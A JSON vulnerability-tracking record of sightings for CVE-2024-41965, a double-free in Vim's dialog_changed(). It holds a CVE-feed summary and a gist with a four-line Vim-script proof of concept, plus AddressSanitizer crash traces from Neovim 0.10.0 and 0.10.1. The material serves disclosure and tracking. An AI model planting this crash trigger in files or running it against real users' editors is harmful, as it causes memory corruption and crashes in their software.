{"vulnerability": "cve-2024-41965", "sightings": [{"uuid": "f572737d-0869-4305-b828-97379cd4545a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-41965", "type": "seen", "source": "https://t.me/cvedetector/2288", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-41965 - Vim Double-Free Dialogue Changed Buffer Crafter\", \n  \"Content\": \"CVE ID : CVE-2024-41965 \nPublished : Aug. 1, 2024, 10:15 p.m. | 16\u00a0minutes ago \nDescription : Vim is an open source command line text editor. double-free in dialog_changed() in Vim Severity: 4.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T00:37:55.000000Z"}, {"uuid": "2c73a595-8b8b-4899-8681-b43ebada23d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-41965", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/a1efdabfedd345a1789bdd3bbdab3f21", "content": "Command:\n./nvim-0.10.1 -u NONE -i NONE -n -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.Inspect                 Inspect\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: call mkdir('Untitled', 'p')\n\nline 2: call setline(1, 'foobar')\n\nline 3: set bufhidden=unload\n\nline 4: confirm enew\n\"Untitled\" \nError detected while processing command line..script /home/zzw/Desktop/CVEID2426/CVE-2024-41965/poc:\nline    4:\nE502: \"Untitled\" is a directory=================================================================\n==23411==ERROR: AddressSanitizer: attempting double-free on 0x602000007090 in thread T0:\n    #0 0x4e84cd in free (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.1+0x4e84cd)\n    #1 0xce6bc9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:3\n    #2 0x9ac05a in dialog_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:231:7\n    #3 0x9ab883 in check_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:174:7\n    #4 0x98fc5b in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2188:10\n    #5 0x9e5377 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5484:9\n    #6 0x9ea87a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5416:3\n    #7 0x9d326a in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #8 0x9c04fd in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #9 0x9b5da7 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #10 0xfa875a in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2240:5\n    #11 0xfa4d46 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1796:14\n    #12 0xfa4aa0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1804:3\n    #13 0x9d326a in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #14 0x9c04fd in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #15 0x9b5da7 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #16 0x9b9433 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:374:10\n    #17 0xc086e9 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1898:5\n    #18 0xbfc7e4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:594:5\n    #19 0x7fdd8fb4c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x47000d in _start (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.1+0x47000d)\n\n0x602000007090 is located 0 bytes inside of 9-byte region [0x602000007090,0x602000007099)\nfreed by thread T0 here:\n    #0 0x4e84cd in free (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.1+0x4e84cd)\n    #1 0xce6bc9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:3\n    #2 0x9abed9 in dialog_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:229:7\n    #3 0x9ab883 in check_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:174:7\n    #4 0x98fc5b in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2188:10\n    #5 0x9e5377 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5484:9\n    #6 0x9ea87a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5416:3\n    #7 0x9d326a in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #8 0x9c04fd in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #9 0x9b5da7 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #10 0xfa875a in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2240:5\n    #11 0xfa4d46 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1796:14\n    #12 0xfa4aa0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1804:3\n    #13 0x9d326a in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #14 0x9c04fd in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #15 0x9b5da7 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #16 0x9b9433 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:374:10\n    #17 0xc086e9 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1898:5\n    #18 0xbfc7e4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:594:5\n    #19 0x7fdd8fb4c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4e874d in malloc (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.1+0x4e874d)\n    #1 0xce69a7 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:98:15\n    #2 0xce6b74 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:132:15\n    #3 0xce6dc1 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:204:15\n    #4 0xce6e38 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:222:17\n    #5 0xce760b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:469:10\n    #6 0x6a413e in buf_set_name /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3014:19\n    #7 0x9abd93 in dialog_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:217:7\n    #8 0x9ab883 in check_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:174:7\n    #9 0x98fc5b in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2188:10\n    #10 0x9e5377 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5484:9\n    #11 0x9ea87a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5416:3\n    #12 0x9d326a in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #13 0x9c04fd in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #14 0x9b5da7 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #15 0xfa875a in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2240:5\n    #16 0xfa4d46 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1796:14\n    #17 0xfa4aa0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1804:3\n    #18 0x9d326a in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #19 0x9c04fd in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #20 0x9b5da7 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #21 0x9b9433 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:374:10\n    #22 0xc086e9 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1898:5\n    #23 0xbfc7e4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:594:5\n    #24 0x7fdd8fb4c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: double-free (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.1+0x4e84cd) in free\n==23411==ABORTING\n\n\nCommand:\n./nvim-0.10.0 -u NONE -i NONE -n -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.Inspect                 Inspect\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nchdir(vim/)\nchdir(/home/zzw/Desktop/CVEID2426/CVE-2024-41965)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: call mkdir('Untitled', 'p')\n\nline 2: call setline(1, 'foobar')\n\nline 3: set bufhidden=unload\n\nline 4: confirm enew\n\"Untitled\" \nError detected while processing command line..script /home/zzw/Desktop/CVEID2426/CVE-2024-41965/poc:\nline    4:\nE502: \"Untitled\" is a directory=================================================================\n==23526==ERROR: AddressSanitizer: attempting double-free on 0x602000007890 in thread T0:\n    #0 0x4e84cd in free (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.0+0x4e84cd)\n    #1 0xce5449 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:3\n    #2 0x9aacba in dialog_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:231:7\n    #3 0x9aa4e3 in check_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:174:7\n    #4 0x98e8bb in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2188:10\n    #5 0x9e3fd7 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5484:9\n    #6 0x9e94da in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5416:3\n    #7 0x9d1eca in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #8 0x9bf15d in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #9 0x9b4a07 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #10 0xfa69da in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2240:5\n    #11 0xfa2fc6 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1796:14\n    #12 0xfa2d20 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1804:3\n    #13 0x9d1eca in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #14 0x9bf15d in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #15 0x9b4a07 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #16 0x9b8093 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:374:10\n    #17 0xc06f69 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1900:5\n    #18 0xbfb064 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:596:5\n    #19 0x7f372ad62082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #20 0x47000d in _start (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.0+0x47000d)\n\n0x602000007890 is located 0 bytes inside of 9-byte region [0x602000007890,0x602000007899)\nfreed by thread T0 here:\n    #0 0x4e84cd in free (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.0+0x4e84cd)\n    #1 0xce5449 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:3\n    #2 0x9aab39 in dialog_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:229:7\n    #3 0x9aa4e3 in check_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:174:7\n    #4 0x98e8bb in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2188:10\n    #5 0x9e3fd7 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5484:9\n    #6 0x9e94da in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5416:3\n    #7 0x9d1eca in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #8 0x9bf15d in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #9 0x9b4a07 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #10 0xfa69da in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2240:5\n    #11 0xfa2fc6 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1796:14\n    #12 0xfa2d20 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1804:3\n    #13 0x9d1eca in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #14 0x9bf15d in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #15 0x9b4a07 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #16 0x9b8093 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:374:10\n    #17 0xc06f69 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1900:5\n    #18 0xbfb064 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:596:5\n    #19 0x7f372ad62082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4e874d in malloc (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.0+0x4e874d)\n    #1 0xce5227 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:98:15\n    #2 0xce53f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:132:15\n    #3 0xce5641 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:204:15\n    #4 0xce56b8 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:222:17\n    #5 0xce5e8b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:469:10\n    #6 0x6a3ebe in buf_set_name /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3014:19\n    #7 0x9aa9f3 in dialog_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:217:7\n    #8 0x9aa4e3 in check_changed /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:174:7\n    #9 0x98e8bb in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2188:10\n    #10 0x9e3fd7 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5484:9\n    #11 0x9e94da in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5416:3\n    #12 0x9d1eca in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #13 0x9bf15d in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #14 0x9b4a07 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #15 0xfa69da in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2240:5\n    #16 0xfa2fc6 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1796:14\n    #17 0xfa2d20 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1804:3\n    #18 0x9d1eca in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1706:7\n    #19 0x9bf15d in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2375:7\n    #20 0x9b4a07 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:665:20\n    #21 0x9b8093 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:374:10\n    #22 0xc06f69 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1900:5\n    #23 0xbfb064 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:596:5\n    #24 0x7f372ad62082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: double-free (/home/zzw/Desktop/NVIM-EXE/nvim-0.10.0+0x4e84cd) in free\n==23526==ABORTING", "creation_timestamp": "2026-06-13T12:29:55.000000Z"}]}